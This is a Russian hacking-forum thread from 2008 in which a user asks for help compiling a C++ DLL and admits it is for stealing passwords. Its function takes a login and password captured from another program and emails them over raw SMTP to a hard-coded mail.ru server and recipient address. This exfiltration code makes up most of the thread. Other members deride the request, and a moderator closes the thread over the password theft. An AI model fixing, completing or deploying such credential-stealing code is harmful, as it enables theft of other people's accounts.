Сейчас на форуме: rmn, Magister Yoda, vasilevradislav, tyns777, zombi-vadim (+5 невидимых)

 eXeL@B —› Программирование —› Помогите найти ошибку в коде dll......
Посл.ответ Сообщение

Ранг: 2.0 (гость)
Активность: 0=0
Статус: Участник

Создано: 07 апреля 2008 15:33 · Поправил: arturik43
· Личное сообщение · #1

Есть один код.....Написанный в Visual С++ 6 Но когда я создаю новый проект, там выбираю Dll(ну там эта обривиатура рассписана)....Вставляю код....Компилю...То он выводит три ошибки....Помогите разобраться...Просто я учу Delphi а в С++ не силён... Вот и сам код:

extern "C" void CALLBACK proc1(char *str,char *str2)
{
strcpy(l,str);
strcpy(p,str2);
if(working!=0)
CreateThread(NULL,0,SendEMail,NULL,0,NULL);
}
DWORD WINAPI SendEMail(LPVOID lpData)
{
int accNumber=0;
working=0;
while(accNumber<ACC_COUNT)
{
BOOL AllOK=true;
BYTE sBuf[4096];
SOCKET nSMTPServerSocket;
struct sockaddr_in smtp_address;
int nConnect;
int iLength;
int iMsg = 0;
int iEnd = 0;
char *MailMessage[] ={
"HELO mail.ru\r\n",
"AUTH LOGIN\r\n",
NULL,
NULL,
NULL,
"RCPT TO: nonamenonameall@mail.ru\r\n",
"DATA\r\n",
NULL,
"QUIT\r\n",
NULL};
WSADATA wsa;
if (WSAStartup(MAKEWORD(2,0),&wsa))
{
working=100;
return 0;
}

MailMessage[2] = (char *) malloc(strlen(acci[accN
umber].l) + 2 );
strcpy(MailMessage[2], acci[accNumber].l);
strcat(MailMessage[2], "\r\n");
MailMessage[3]=(char *)malloc(strlen(acci[accNum
ber].p)+2);
strcpy(MailMessage[3], acci[accNumber].p);
strcat(MailMessage[3],"\r\n");
MailMessage[4]=(char *)malloc(strlen(acci[accNum
ber].mail)+2);
strcpy(MailMessage[4], acci[accNumber].mail);//

strcat(MailMessage[4], "\r\n");
MailMessage[7]=(char *) malloc(
strlen(l) + strlen(p) + 11);
strcpy(MailMessage[7], l);
strcat(MailMessage[7], " — ");
strcat(MailMessage[7], p);
strcat(MailMessage[7], "\r\n\r\n.\r\n");
nSMTPServerSocket =
socket( PF_INET, SOCK_STREAM, 0);
if(nSMTPServerSocket != INVALID_SOCKET)
{
smtp_address.sin_family = AF_INET;
smtp_address.sin_addr.s_addr =
inet_addr( "194.67.23.111"); //ИП mail.ru
smtp_address.sin_port = htons(25);
nConnect = connect(nSMTPServerSocket,
(PSOCKADDR) &smtp_address, sizeof(smtp_address));
if(!nConnect)
{
do
{
iLength = recv(
nSMTPServerSocket,
(LPSTR)sBuf + iEnd,
sizeof(sBuf)-iEnd, 0);
if((sBuf[iEnd])==’4’ &&
(sBuf[iEnd+1])==’0’ &&
(sBuf[iEnd+2])==’3’)
{
accNumber++;
AllOK=false;
break;
}
iEnd += iLength;
sBuf[iEnd] = ‘\0’;
send(nSMTPServerSocket,
(LPSTR)MailMessage[iMsg],
strlen(MailMessage[iMsg]), 0);
iMsg++;
}
while(MailMessage[iMsg]);
}
closesocket(nSMTPServerSocket);
nSMTPServerSocket=NULL;
}
if(AllOK) break;
}
working=100;
return 0;
}




Ранг: 271.6 (наставник), 2thx
Активность: 0.30
Статус: Участник

Создано: 07 апреля 2008 15:37 · Поправил: Spirit
· Личное сообщение · #2

аффтар выпей йаду

-----
iNTERNATiONAL CoDE CReW




Ранг: 2.0 (гость)
Активность: 0=0
Статус: Участник

Создано: 07 апреля 2008 15:39 · Поправил: arturik43
· Личное сообщение · #3

Если ты мужик... в чём я уже сомневаюсь.....Слабо найти три ошибки??? Коль ты тута такой крутой......




Ранг: 756.3 (! !), 113thx
Активность: 0.610.05
Статус: Участник
Student

Создано: 07 апреля 2008 15:42
· Личное сообщение · #4

Spirit а что так грубо то?

-----
z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh





Ранг: 271.6 (наставник), 2thx
Активность: 0.30
Статус: Участник

Создано: 07 апреля 2008 16:04
· Личное сообщение · #5

Isaev
Товарисч некрасиво стартанул топег

-----
iNTERNATiONAL CoDE CReW




Ранг: 253.9 (наставник)
Активность: 0.130
Статус: Участник

Создано: 07 апреля 2008 16:08
· Личное сообщение · #6

апострофы смущают `' должны быть одинаковые...

-----
MicroSoft? Is it some kind of a toilet paper?





Ранг: 756.3 (! !), 113thx
Активность: 0.610.05
Статус: Участник
Student

Создано: 07 апреля 2008 16:34
· Личное сообщение · #7

arturik43 ты бы сразу лог ошибок присовокупил, тебе бы быстрее подсказали

-----
z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh




Ранг: 160.9 (ветеран), 1thx
Активность: 0.050
Статус: Участник

Создано: 07 апреля 2008 16:38
· Личное сообщение · #8

А вообще не мешало бы и ошибки приводить. Мне лично лень делать болванку ради нахождение его ошибок, а телепатией не страдаю.



Ранг: 107.5 (ветеран)
Активность: 0.150
Статус: Участник

Создано: 07 апреля 2008 17:23
· Личное сообщение · #9

Cigan пишет:
Мне лично лень делать болванку ради нахождение его ошибок

Кампилятор сам выдает ошибку и как ее можно исправить просто надо внимательней читать . Ошибка не обязатель но в том месте где компилятор указал ищи смежные пути.

-----
Md5 fcbb6c9c9a5029b24d70f2d67c7cca74




Ранг: 17.8 (новичок)
Активность: 0.020
Статус: Участник

Создано: 07 апреля 2008 17:36 · Поправил: UR-Shark
· Личное сообщение · #10

Ну например можешь начать искать ашипку в первой строчке. это просто нагромождение кампилятор подавиться.
Как на счет инклудов?

мне вот лень разбирать что ты делаешь. мылишь кудато...
напиши вот я пишу тота-тота, код содрал от тудата...

вот --> мануал <-- http://www.lib.ru/CPPHB/cpptut.txt правда для новичка тяжеловат, посмотри, везде этого добра навалом



Ранг: 2.0 (гость)
Активность: 0=0
Статус: Участник

Создано: 07 апреля 2008 20:29
· Личное сообщение · #11

--------------------Configuration: 1234 - Win32 Debug--------------------
Compiling...
dll.cpp
c:\program files\microsoft visual studio\myprojects\dll\dll.cpp(1) : error C2146: syntax error : missing ';' before identifier 'proc1'
c:\program files\microsoft visual studio\myprojects\dll\dll.cpp(1) : error C2182: 'CALLBACK' : illegal use of type 'void'
c:\program files\microsoft visual studio\myprojects\dll\dll.cpp(1) : fatal error C1004: unexpected end of file found
Error executing cl.exe.

dll.obj - 3 error(s), 0 warning(s)



Вот короче какие компилятор выдаёт ошибки........Короче в двух словах что это за код.....Мона сказать что это для угона паролей........Вот.....У нас ест прога......При помощи Оли мы отслеживаем где у нас передаются логин и пароль....Отследили....Помещаем в вершину стека...И потом вызываем процедуру proc1 которая извлекает логин и пароль из стека и отправляет на мыло.... Она и прописана у нас в dll.....



Ранг: 2.0 (гость)
Активность: 0=0
Статус: Участник

Создано: 07 апреля 2008 20:30
· Личное сообщение · #12

UR-SharkИнклуды тут походу не нужны.....Тут походу просто работа с WinAPI.....




Ранг: 387.4 (мудрец)
Активность: 0.170
Статус: Участник
системщик

Создано: 07 апреля 2008 20:52
· Личное сообщение · #13

arturik43, кусок кода пытается в потоке отправлять мыло через SMTP. Это либо spam либо подбор пароля. Спамерам место на костре.



Ранг: 2.0 (гость)
Активность: 0=0
Статус: Участник

Создано: 07 апреля 2008 20:55
· Личное сообщение · #14

s0larianЭто не СпАм....




Ранг: 387.4 (мудрец)
Активность: 0.170
Статус: Участник
системщик

Создано: 07 апреля 2008 21:06 · Поправил: s0larian
· Личное сообщение · #15

s0larian, выкладывай весь код в attachment - то где объявление и инитиализация глобальных переменных: working, acci.




Ранг: 2014.5 (!!!!), 1278thx
Активность: 1.340.25
Статус: Модератор
retired

Создано: 07 апреля 2008 21:28
· Личное сообщение · #16

Даже инклудов нету, артурчик, сходили бы вы лучше на форум для программирования или хотя бы основу почитали, а не зафлуживали форум. Ещё и отсылка каких-то пассов, пароли угонять не айс, закрыто нафиг.


 eXeL@B —› Программирование —› Помогите найти ошибку в коде dll......
Эта тема закрыта. Ответы больше не принимаются.
   Для печати Для печати